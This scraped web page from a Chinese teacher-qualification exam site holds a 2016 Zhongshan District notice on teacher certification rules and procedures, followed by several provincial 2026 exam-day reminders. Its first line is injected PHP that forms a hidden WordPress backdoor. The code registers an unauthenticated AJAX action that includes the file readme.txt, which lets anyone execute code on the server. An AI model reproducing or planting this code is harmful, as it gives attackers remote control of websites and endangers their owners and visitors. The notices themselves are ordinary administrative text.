if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州省六盘水钟山区2016年春教师资格认定公告-全国教师资格考试网

贵州省六盘水钟山区2016年春教师资格认定公告

关于做好2016年钟山区教师资格认定工作的公告
    按照《省教育厅办公室关于做好2016年教师资格认定工作的通知》(黔教办函〔2016〕24号)文件的安排部署,钟山区2016年教师资格认定工作即将开始,现结合钟山区实际,将有关事宜公告如下:
一、教师资格认定的法律依据
   《中华人民共和国教师法》、《教师资格条例》、《<教师资格条例>实施办法》(中华人民共和国教育部令第10号)、《贵州省教师条例》、《省教育厅关于印发<贵州省面向在职教师推行教师资格制度实施细则>(试行)和<贵州省面向社会推行教师资格制度实施细则>(试行)的通知》(黔教发〔2002〕29号)
二、对象、范围、权限
    对象:符合条件的各级各类学校在职教师、应届大学毕业生和社会人员可申请认定相应教师资格。
    原则上同一申请人不可在同一年内要求申请两种以上教师资格。
    范围:教师资格的申请实行属地化原则。凡户籍或工作单位(指具有人事审批权限的单位)在钟山区的,原则上应向钟山区教师资格认定机构(钟山区教育局)提出申请;对于户籍不在本区,但人事档案挂靠在钟山区人才交流中心的人员,可向钟山区教师资格认定机构(钟山区教育局)提出申请;户籍和人事档案均不在工作单位所在地的人员,应回户籍所在地的教师资格认定机构申请。 
    权限:钟山区教育局负责本辖区内幼儿园、小学、初级中学教师资格的认定、管理,负责受理辖区内高级中学、中等职业学校和中等职业学校实习指导教师资格申请事宜的现场确认,并报送六盘水市教育局认定审批。
三、申请认定教师资格应具备的条件
   (一)身份条件:申请认定教师资格者,应当是未达到国家法定退休年龄的中华人民共和国公民。
   (二)思想品德条件:申请认定教师资格,应当拥护中国共产党的领导,遵守国家宪法和法律,热爱教育事业,履行《中华人民共和国教师法》规定的义务,遵守教师职业道德,爱岗敬业,为人师表,教书育人。
   (三)学历条件:申请认定教师资格应当具备《教师法》规定的相应学历。即:
    1.申请认定幼儿园教师资格,应当具备幼儿师范学校毕业及其以上学历,其他中专毕业学历不能作为认定幼儿园教师资格的合格学历。
    2.申请认定小学教师资格,应当具备中等师范学校毕业及其以上学历,其他中专毕业学历不能作为认定小学教师资格的合格学历。
    3.申请认定初级中学教师资格,应当具备高等师范专科学校或者其他大学专科毕业及其以上学历。
    4.申请认定高级中学教师资格和中等专业学校、技工学校、职业高中文化课、专业课教师资格(统称中等职业学校教师资格),应当具备高等师范院校本科或者其他大学本科毕业及其以上学历。 
    5.申请认定中等专业学校、技工学校和职业高中实习指导教师资格(统称中等职业学校实习指导教师资格),应当具备中等职业学校及其以上学历,并应具有相当助理工程师以上专业技术职务或者中级以上工人技术等级。对获得国家职业技能鉴定机关颁发的高级技术等级证书并确有特殊技艺者,经省级教育行政部门批准,其学历要求可适当放宽。
    6.申请认定高等学校教师资格者,应当具备研究生或者大学本科毕业学历。
    7.申请认定成人教育教师资格者,应当按照成人教育的层次,分别具备高等、中等学校毕业及其以上学历。
    按原国家教委《关于重申党校学历不应等同于国民教育学历的复函》(教成厅〔1995〕15号)第一条的规定,党校学历不应等同于国民教育系列学历。
    8.经省教育厅评估合格的中等职业学校学前教育专业2011年秋季以后入学的,参加国家教师资格统一考试合格者,可以申请认定幼儿园教师资格。
   (四)教育教学能力条件
    1.对需测试教育教学基本素质和能力的申请者,按照《贵州省申请认定教师资格教育教学基本素质和能力测试办法及标准》(试行)(黔教人发〔2004〕11号)的规定,组织测评工作。2016年对持有省“两学”考试合格证书的人员将不再予以认定,对已取得国家教师资格统一考试合格证书的申请人员,按照认定程序开展认定工作。
  2.普通话合格等级,按照黔教语发〔2013〕324号文件规定执行。普通话合格等级证书的管理,按照《贵州省教育厅 贵州省语言文字工作委员会关于印发<贵州省普通话水平测试管理规定>的通知》(黔教语发〔2012〕263号)文件的规定执行。
    3.身体条件,申请认定教师资格(不包括幼儿园教师资格)的体检按照《省教育厅关于印发<贵州省申请认定教师资格体检标准及办法>(试行)的通知》(黔教人发〔2004〕10号)的规定执行,申请认定幼儿园教师资格人员的体检按照《关于调整申请认定幼儿园教师资格人员体检标准的通知》(教资字〔2010〕15号)的规定执行。

#p#副标题#e#

四、教师资格认定工作程序
    按照《省教育厅办公室关于做好2016年教师资格认定工作的通知》(黔教办函〔2016〕24号)文件规定,钟山区教师资格认定工作继续以“网报”方式开展工作,即申请人员在网上报名申请认定教师资格,由钟山区教育局根据申请人网上提交的信息并通过有关程序确认后,开展认定工作。
    (一)资料领取、体检 、思想鉴定
    资料领取:凡在钟山区申请认定教师资格的在职和社会人员,在2016年4月1日- 5月13日内,到钟山区政务服务中心西大厅综合服务窗口领取教师资格认定资料;六盘水师范学院应届毕业生、六盘水职业技术学院应届幼儿师范毕业生和六盘水市职业技术学校应届幼儿师范毕业生在本校领取。
    体检:凡在钟山区申请认定教师资格的应届毕业生、在职教师和社会人员,须持贴有本人免冠蓝底照片的《贵州省申请认定教师资格体检表》或《贵州省申请认定教师资格体检表(幼儿园)》,在网报规定时限内到六盘水市人民医院体检。
    思想品德鉴定:申请人须持《申请人思想品德鉴定表》,在网报时限内完成本人思想品德鉴定。具有人事管理权限工作单位的人员由工作单位鉴定填写,社会人员由其户籍所在地街道办事处(乡、镇人民政府)、派出所鉴定填写,应届毕业生由毕业学校鉴定填写。
   (二)网上注册报名
    1.报名网址:http://www.jszg.edu.cn 。
    2.网报时间:2016年4月1日- 5月20日。
   (三)现场确认(资格初审)
    1.现场确认时间:2016年5月23日- 6月10日。
    2.现场确认地点:六盘水师范学院、六盘水职业技术学院、六盘水市民族职业学校、钟山区政务 服务中心西大厅综合服务窗口。
    六盘水师范学院:负责本校应届毕业生的幼儿园、小学、初级中学、高级中学、中等职业学校、中等职业学校实习指导教师资格申请材料和网报数据的现场确认。
    六盘水职业技术学院:负责本校中专部应届幼儿师范毕业生幼儿园教师资格申请材料和网报数据的现场确认。
    六盘水市民族职业学校:负责本校应届幼儿师范毕业生幼儿园教师资格申请材料和网报数据的现场确认。
    钟山区政务服务中心西大厅综合服务窗口:负责本辖区内在职和社会人员的幼儿园、小学、初级中学、高级中学、中等职业学校、中等职业学校实习指导教师资格申请材料和网报数据的现场确认。
    3.现场确认需提交的材料
    网报数据提交成功后,申请人必须在规定时限内提交以下材料到指定现场确认地点,确认网报数据是否生效。
    ①本人填写的《教师资格认定申请表》原件2份;
    ②《申请人思想品德鉴定表》原件1份;
    ③《贵州省教师资格认定体检表》或者《贵州省教师资格认定体检表(幼儿园)》原件1份;
    ④学历证书复印件2份;
    ⑤非师范类专业毕业人员还要提交相应层次的国家教师资格统一考试合格证书复印件2份;
    ⑥普通话水平测试等级证书复印件2份;
    ⑦本人近期2寸蓝底免冠半身正面照片4张,网上申报上传的电子照片大小像数:114×156,大小:20KB,必须与提供的照片为同一底板,照片必须清晰可辨;
    ⑧身份证和户籍复印件(户主页与本人页复印在同一页面上)各一份,或由户籍所在地派出所出具的有照片的户籍证明一份,在职人员(指具有人事管理权限工作单位的人员),还要提供2015年《个人年度考核登记表》复印件一份;
    ⑨申请认定中等职业学校实习指导教师资格的人员,还需提供专业技术职务资格证书或工人技术等级证书复印件1份。
    注:以上提交材料的复印件必须验证原件。
   (四)资格审查,资格认定
    我区教师资格认定领导小组严格按照《贵州省教育厅关于印发<贵州省教师资格专家审查委员会组织办法>(试行)的通知》(黔教发〔2002〕31号)文件的规定,认真做好教师资格认定专家审查委员会的组织工作,并加强指导和监督,严格把握资格审查关,严格审核申请人员的申请材料,严格把握教师资格认定的申请范围、认定权限和认定条件,严禁擅自修改教师资格认定条件和扩大申请人员范围。
    教师资格认定专家审查委员会按照国家相关认定教师资格的文件规定,审查已通过现场确认的申请人的申请材料,并提出评审意见,教师资格认定领导小组作出认定审批,并在教师资格信息管理系统中作出记录。凡经教师资格专家审查委员会审查认为不合格者,不能认定其教师资格。

#p#副标题#e#

五、收费标准
    收费标准严格按照《贵州省物价局  贵州省财政厅关于教师资格考试费收费标准及有关问题的通知》(黔价费〔2013〕261号)文件的有关规定执行。
六、办结时限
    法定期限:自受理申请终止之日起(现场确认结束日开始),30个法定工作日之内做出是否认定的决定。
    承诺期限:15个法定工作日。 
七、证书送达:钟山区政务服务中心综合服务窗口。
八、其他事宜
    (一)加强教师资格证书管理
    教师资格证书的管理严格按照《教师资格证书管理规定》执行,对补发换发的教师资格证书,严格按照教育部教师资格认定指导中心《关于规范教师资格证书补发换发工作的通知》(教资字〔2009〕17号)规定执行。
    申请补发或换发教师资格证书应提供以下材料。
    1.申请证书换发的,教师资格认定机构需将损毁证书收回,归档备案。
    2.申请补发或换发教师资格证书应提交以下材料: 
    ①《教师资格证书补发换发申请表》原件二份;
    ②《教师资格认定申请表》复印件一份;
    ③本人有效身份证件复印件一份。
    申请补发教师资格证书的,还需提交刊登在公开发行的报刊上的、自刊登之日起已满一个月的证书遗失声明原件。
    (二)切实做好未取得教师资格的特岗教师资格认定工作
目前,我区仍有部分在农村中小学的特岗教师未取得教师资格,各乡镇中心校须及时通知本区域内特岗教师申请教师资格认定,确保未取得教师资格的特岗教师在服务期内取得教师资格。
    (三)教育部考试中心从今年起不再寄送《中小学教师资格考试合格证明》,改由申请人在网上自行下载打印的方式作为申请认定教师资格的有效凭证(成绩查询网址:http://www.ntce.cn)。
    (四)教育教学素质能力测试相关事宜另行通知。
    (五)申请认定教师资格人员,若在网报过程中遇到问题,请及时与各区域的现场确认点联系。 
    (六)此公告公布途径。
     1.贵州省教育网群-钟山节点,网址http://222.85.160.48:7131 。
     2.魅力钟山网,网址:http://www.gzzs.gov.cn
     3.钟山区教育局,网址:http://jyj.gzzs.gov.cn 。
     4.纸质公告发送钟山区辖区内各学校、教育机构。
     5.在网报注意事项里设置2016年钟山区教师资格认定工作程序的相关事宜。
     6.在钟山区教育局、钟山区政务服务行政大厅的政务公开栏里张贴钟山区2016年教师资格认定工作公告。
     特此公告
     窗口电话:0858-8698532 0858-8227419     
     监督电话:0858-8228355
六盘水市钟山区教育局
二O一六年三月四日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部